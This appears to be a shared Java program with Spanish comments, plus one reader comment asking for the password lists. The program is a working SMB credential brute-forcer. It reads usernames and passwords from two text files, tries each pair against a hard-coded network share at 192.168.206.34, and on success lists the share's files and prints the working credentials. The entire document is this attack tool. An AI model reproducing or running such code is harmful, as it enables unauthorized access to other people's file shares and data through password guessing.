package smb;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import jcifs.smb.SmbFile;
public class Smb {
public static void main(String[] args) {
try {
userpass();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void SmbConnect(String user, String pass) {
try {
SmbFile dir = new SmbFile("smb://" + user + ":" + pass + "@192.168.206.34//");
for (SmbFile f : dir.listFiles()) {
String size;
if (!f.isDirectory()) {
size = String.valueOf(f.length()+" b");
} else {
size = " | carpeta de archivos";
}
System.out.println(f.getName() + size);
}
System.out.println("----------------------------------------------------------------------------------");
System.out.println("Felisitaciones usted se a logrado Autentificar con user:" + user + " Pass:" + pass);
System.out.println("----------------------------------------------------------------------------------");
System.exit(0);
} catch (Exception ex) {
System.out.println("Autentificando con user:" + user + " Pass:" + pass + "\n");
}
}
/**
*
* Este metodo es es utilizado para leer dos archivos de texto plano y yamar al
* metodo statico SmbConnect(user,pass) y pasarle por parametros el user y pass
* del archivo correspondiente.
*
* @throws IOException
*/
public static void userpass() throws IOException {
FileReader user = new FileReader("D:\\user.txt"); // RUTA DEL ARCHIVO USER
FileReader pass = new FileReader("D:\\pass.txt"); // RUTA DEL ARCHIVO PASS
BufferedReader bafferuser = new BufferedReader(user);
BufferedReader bafferpass = new BufferedReader(pass);
String bufuser = "";
String bufpass = "";
while (bufuser != null && bufpass != null) {
bufuser = bafferuser.readLine();
bufpass = bafferpass.readLine();
if (bufuser != null && bufpass != null) {
SmbConnect(bufuser, bufpass);
}else {
System.out.println("ufff no ubo coinsidensias");
}
}
bafferuser.close();
bafferpass.close();
}
}
Comentarios sobre la versión: 1 (1)
Podrías publicar en algún lugar los archivos user.txt y pass.txt??